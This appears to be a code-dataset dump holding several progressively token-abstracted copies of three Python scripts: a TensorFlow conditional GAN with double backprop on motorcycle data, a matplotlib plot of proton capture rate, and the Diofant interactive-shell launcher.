tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation = tf.keras.activations.sigmoid))\n\ngen.summary()\ndisc.summary()\n\n# NOTE: Compilation of discriminator needs to occur BEFORE we set its weights untrainable below, as these changes will not be reflected until disc is compiled again. So also be wary of compiling disc later, as its weights may not change.\n#TODO: the above is a mess, find a better way.\n#disc.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')\n\nnoise = tf.keras.layers.Input(shape = (R,))\nxdat = tf.keras.layers.Input(shape = (P,))\n\ngenin = tf.keras.layers.concatenate([xdat, noise])\ngenout = gen(genin)\n\ndiscin = tf.keras.layers.concatenate([xdat, genout])\nvalidity = disc(discin)\n\n#NOTE: Next lin possible issue in ordering of inputs?\nboth_mod = tf.keras.models.Model([xdat, noise], validity)\nboth_mod.layers[5].trainable = False\n\n#both_mod.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')\n#both_mod.compile(tf.train.AdamOptimizer(), 'binary_crossentropy')\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')\n\n## Custom training with double backprop\n#genloss = lambda: both_mod.output\n#genopt = tf.keras.optimizers.Adam(genloss, both_mod.trainable_variables)\n\n# Do the training!\nfor epoch in tqdm(range(epochs)):\n # Sample some noise\n #TODO: Batch size\n some_noise = np.random.normal(size=[N,R])\n\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n\n # Train discriminator\n #NOTE: Minor discrepency in losses from the manual loop below and from keras's built in: follow up if there appears to be bugs.\n #disc_rl = disc.train_on_batch(np.hstack([x, y]), np.ones(N))\n #disc_fl = disc.train_on_batch(np.hstack([x, gen_dat]), np.zeros(N))\n #disc_loss = 0.5 * np.add(disc_rl, disc_fl)\n\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n #preds_real = disc(tf.cast(np.concatenate([x, y]).reshape([N,P+Q]), tf.float32))\n #preds_fake = disc(tf.cast(np.concatenate([x, gen_dat]).reshape([N,P+Q]), tf.float32))\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N,Q])]), tf.float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.zeros(N).reshape([N,1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5*tf.add(dl_real, dl_fake)\n\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n #grads_norm += tf.reduce_sum(tf.square(grads[i]))\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n\n # Train generator\n #both_mod.train_on_batch([x, some_noise], np.ones(N))\n # Manually compute and apply gradient\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds, tf.float64)))\n #bl = tf.losses.sigmoid_cross_entropy(preds, np.ones(N).reshape([N,1]))\n\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n #grads_norm += tf.reduce_sum(tf.square(grads[i]))\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n\n grads_n_vars = [(grads[i] + doubleback_const*double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\n\n# Plot the results\nfig = plt.figure()\nplt.scatter(x, y)\nsome_noise = np.random.normal(size=[N,P])\npreds = gen.predict(np.hstack([x, some_noise]))\nplt.scatter(x, preds)\n#plt.savefig(\"images/motor_scatter.pdf\")\nplt.savefig(\"temp.pdf\")\n", "import keras\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nnp.random.seed(123)\nimport tensorflow as tf\nfrom scipy.optimize import line_search\ntf.enable_eager_execution()\ntf.set_random_seed(123)\nP = 1\nR = 1\nQ = 1\nH = 20\nepochs = 1000\ndoubleback_const = 1\nmcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1)\nN = mcycle.shape[0]\nx = mcycle[:, 0].reshape([N, P])\ny = mcycle[:, 1].reshape([N, Q])\nx = (x - np.mean(x)) / np.std(x)\ny = (y - np.mean(y)) / np.std(y)\ngen = tf.keras.Sequential()\ngen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.\n activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\ndisc = tf.keras.Sequential()\ndisc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.\n activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))\ngen.summary()\ndisc.summary()\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nnoise = tf.keras.layers.Input(shape=(R,))\nxdat = tf.keras.layers.Input(shape=(P,))\ngenin = tf.keras.layers.concatenate([xdat, noise])\ngenout = gen(genin)\ndiscin = tf.keras.layers.concatenate([xdat, genout])\nvalidity = disc(discin)\nboth_mod = tf.keras.models.Model([xdat, noise], validity)\nboth_mod.layers[5].trainable = False\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nfor epoch in tqdm(range(epochs)):\n some_noise = np.random.normal(size=[N, R])\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf\n .float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5 * tf.add(dl_real, dl_fake)\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.\n trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,\n tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)\n .reshape([N, 1]), tf.cast(preds, tf.float64)))\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],\n both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\nfig = plt.figure()\nplt.scatter(x, y)\nsome_noise = np.random.normal(size=[N, P])\npreds = gen.predict(np.hstack([x, some_noise]))\nplt.scatter(x, preds)\nplt.savefig('temp.pdf')\n", "<import token>\nnp.random.seed(123)\n<import token>\ntf.enable_eager_execution()\ntf.set_random_seed(123)\nP = 1\nR = 1\nQ = 1\nH = 20\nepochs = 1000\ndoubleback_const = 1\nmcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1)\nN = mcycle.shape[0]\nx = mcycle[:, 0].reshape([N, P])\ny = mcycle[:, 1].reshape([N, Q])\nx = (x - np.mean(x)) / np.std(x)\ny = (y - np.mean(y)) / np.std(y)\ngen = tf.keras.Sequential()\ngen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.\n activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\ndisc = tf.keras.Sequential()\ndisc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.\n activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))\ngen.summary()\ndisc.summary()\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nnoise = tf.keras.layers.Input(shape=(R,))\nxdat = tf.keras.layers.Input(shape=(P,))\ngenin = tf.keras.layers.concatenate([xdat, noise])\ngenout = gen(genin)\ndiscin = tf.keras.layers.concatenate([xdat, genout])\nvalidity = disc(discin)\nboth_mod = tf.keras.models.Model([xdat, noise], validity)\nboth_mod.layers[5].trainable = False\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nfor epoch in tqdm(range(epochs)):\n some_noise = np.random.normal(size=[N, R])\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf\n .float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5 * tf.add(dl_real, dl_fake)\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.\n trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,\n tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)\n .reshape([N, 1]), tf.cast(preds, tf.float64)))\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],\n both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\nfig = plt.figure()\nplt.scatter(x, y)\nsome_noise = np.random.normal(size=[N, P])\npreds = gen.predict(np.hstack([x, some_noise]))\nplt.scatter(x, preds)\nplt.savefig('temp.pdf')\n", "<import token>\nnp.random.seed(123)\n<import token>\ntf.enable_eager_execution()\ntf.set_random_seed(123)\n<assignment token>\ngen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.\n activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\n<assignment token>\ndisc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.\n activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))\ngen.summary()\ndisc.summary()\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\n<assignment token>\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nfor epoch in tqdm(range(epochs)):\n some_noise = np.random.normal(size=[N, R])\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf\n .float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5 * tf.add(dl_real, dl_fake)\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.\n trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,\n tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)\n .reshape([N, 1]), tf.cast(preds, tf.float64)))\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],\n both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\n<assignment token>\nplt.scatter(x, y)\n<assignment token>\nplt.scatter(x, preds)\nplt.savefig('temp.pdf')\n", "<import token>\n<code token>\n<import token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,942
bee96e817dd4d9462c1e3f8eb525c22c2117140a
#!/usr/bin/env python from math import * import numpy as np import matplotlib.pyplot as plt import Input as para data = np.loadtxt("eff-proton.dat") #data = np.loadtxt("eff-electron.dat") show_time = data[0] show_eff = data[1] #print show_turn, show_eff #x_lower_limit = min(show_time) #x_upper_limit = max(show_time) x_lower_limit = 0.0 x_upper_limit = para.T_nu*1000 y_lower_limit = min(show_eff)-abs(max(show_eff)-min(show_eff)) y_upper_limit = max(show_eff) plt.figure() plt.xlabel('Time (ms)', fontsize=30) plt.ylabel('Capture rate (%)', fontsize=30) plt.xticks(fontsize=25) plt.yticks(fontsize=25) plt.xlim(x_lower_limit, x_upper_limit) plt.ylim(y_lower_limit, y_upper_limit) plt.plot(show_time, show_eff, 'b-', markeredgecolor = 'b', linewidth=5) plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches='tight') #plt.savefig('eff-vs-time-electron.eps', format='eps', dpi=1000, bbox_inches='tight') plt.show()
[ "#!/usr/bin/env python\nfrom math import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport Input as para\n\ndata = np.loadtxt(\"eff-proton.dat\")\n#data = np.loadtxt(\"eff-electron.dat\")\n\nshow_time = data[0]\nshow_eff = data[1]\n#print show_turn, show_eff\n\n#x_lower_limit = min(show_time)\n#x_upper_limit = max(show_time)\nx_lower_limit = 0.0\nx_upper_limit = para.T_nu*1000\n\ny_lower_limit = min(show_eff)-abs(max(show_eff)-min(show_eff))\ny_upper_limit = max(show_eff)\n\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor = 'b', linewidth=5)\n\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches='tight')\n#plt.savefig('eff-vs-time-electron.eps', format='eps', dpi=1000, bbox_inches='tight')\n\nplt.show()\n\n", "from math import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport Input as para\ndata = np.loadtxt('eff-proton.dat')\nshow_time = data[0]\nshow_eff = data[1]\nx_lower_limit = 0.0\nx_upper_limit = para.T_nu * 1000\ny_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff))\ny_upper_limit = max(show_eff)\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=\n 'tight')\nplt.show()\n", "<import token>\ndata = np.loadtxt('eff-proton.dat')\nshow_time = data[0]\nshow_eff = data[1]\nx_lower_limit = 0.0\nx_upper_limit = para.T_nu * 1000\ny_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff))\ny_upper_limit = max(show_eff)\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=\n 'tight')\nplt.show()\n", "<import token>\n<assignment token>\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=\n 'tight')\nplt.show()\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
9,943
80e395715d3ae216beb17e7caed1d8d03c5c56de
""" Python shell for Diofant. This is just a normal Python shell (IPython shell if you have the IPython package installed), that adds default imports and run some initialization code. """ import argparse import ast import atexit import code import os import readline import rlcompleter from diofant.interactive.session import (AutomaticSymbols, IntegerDivisionWrapper, unicode_identifiers) __all__ = () parser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant') parser.add_argument('--no-wrap-division', help="Don't wrap integer divisions with Fraction", action='store_true') parser.add_argument('-a', '--auto-symbols', help="Automatically create missing Symbol's", action='store_true') parser.add_argument('--no-ipython', help="Don't use IPython", action='store_true') parser.add_argument('--unicode-identifiers', help='Allow any unicode identifiers', action='store_true') def main(): args, ipython_args = parser.parse_known_args() lines = ['from diofant import *', 'init_printing()', "a, b, c, d, t, x, y, z = symbols('a:d t x:z')", "k, m, n = symbols('k m n', integer=True)", "f, g, h = symbols('f g h', cls=Function)", 'init_printing(pretty_print=True, use_unicode=True)'] try: import IPython import traitlets except ImportError: args.no_ipython = True if not args.no_ipython: config = traitlets.config.loader.Config() shell = config.InteractiveShell ast_transformers = shell.ast_transformers if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) shell.confirm_exit = False config.TerminalIPythonApp.display_banner = False config.TerminalInteractiveShell.autoformatter = None app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) app.initialize(ipython_args) shell = app.shell for l in lines: shell.run_cell(l, silent=True) if args.auto_symbols: shell.run_cell('from diofant.interactive.session import AutomaticSymbols') shell.run_cell('ip = get_ipython()') shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') shell.run_cell('del ip') if args.unicode_identifiers: shell.run_cell('from diofant.interactive.session import unicode_identifiers') shell.run_cell('ip = get_ipython()') shell.run_cell('ip.input_transformers_cleanup.append(unicode_identifiers)') shell.run_cell('del ip') app.start() else: ast_transformers = [] source_transformers = [] ns = {} if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) if args.auto_symbols: ast_transformers.append(AutomaticSymbols(ns)) if args.unicode_identifiers: source_transformers.append(unicode_identifiers) class DiofantConsole(code.InteractiveConsole): """An interactive console with readline support.""" def __init__(self, ast_transformers=[], source_transformers=[], **kwargs): super().__init__(**kwargs) readline.set_completer(rlcompleter.Completer(ns).complete) readline.parse_and_bind('tab: complete') history = os.path.expanduser('~/.python_history') readline.read_history_file(history) atexit.register(readline.write_history_file, history) self.ast_transformers = ast_transformers self.source_transformers = source_transformers def runsource(self, source, filename='<input>', symbol='single'): for t in self.source_transformers: source = '\n'.join(t(source.splitlines())) try: tree = ast.parse(source) except SyntaxError: return True for t in self.ast_transformers: tree = t.visit(tree) ast.fix_missing_locations(tree) source = ast.unparse(tree) source = source.split('\n') source = ';'.join(source) return super().runsource(source, filename=filename, symbol=symbol) c = DiofantConsole(ast_transformers=ast_transformers, source_transformers=source_transformers, locals=ns) for l in lines: c.push(l) c.interact('', '') if __name__ == '__main__': # pragma: no branch main()
[ "\"\"\"\nPython shell for Diofant.\n\nThis is just a normal Python shell (IPython shell if you have the\nIPython package installed), that adds default imports and run\nsome initialization code.\n\"\"\"\n\nimport argparse\nimport ast\nimport atexit\nimport code\nimport os\nimport readline\nimport rlcompleter\n\nfrom diofant.interactive.session import (AutomaticSymbols,\n IntegerDivisionWrapper,\n unicode_identifiers)\n\n\n__all__ = ()\n\n\nparser = argparse.ArgumentParser(description=__doc__,\n prog='python -m diofant')\nparser.add_argument('--no-wrap-division',\n help=\"Don't wrap integer divisions with Fraction\",\n action='store_true')\nparser.add_argument('-a', '--auto-symbols',\n help=\"Automatically create missing Symbol's\",\n action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\",\n action='store_true')\nparser.add_argument('--unicode-identifiers',\n help='Allow any unicode identifiers',\n action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n\n lines = ['from diofant import *',\n 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell('from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell('from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell('ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[],\n source_transformers=[], **kwargs):\n super().__init__(**kwargs)\n\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=symbol)\n\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__': # pragma: no branch\n main()\n", "<docstring token>\nimport argparse\nimport ast\nimport atexit\nimport code\nimport os\nimport readline\nimport rlcompleter\nfrom diofant.interactive.session import AutomaticSymbols, IntegerDivisionWrapper, unicode_identifiers\n__all__ = ()\nparser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant')\nparser.add_argument('--no-wrap-division', help=\n \"Don't wrap integer divisions with Fraction\", action='store_true')\nparser.add_argument('-a', '--auto-symbols', help=\n \"Automatically create missing Symbol's\", action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\", action=\n 'store_true')\nparser.add_argument('--unicode-identifiers', help=\n 'Allow any unicode identifiers', action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__':\n main()\n", "<docstring token>\n<import token>\n__all__ = ()\nparser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant')\nparser.add_argument('--no-wrap-division', help=\n \"Don't wrap integer divisions with Fraction\", action='store_true')\nparser.add_argument('-a', '--auto-symbols', help=\n \"Automatically create missing Symbol's\", action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\", action=\n 'store_true')\nparser.add_argument('--unicode-identifiers', help=\n 'Allow any unicode identifiers', action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell 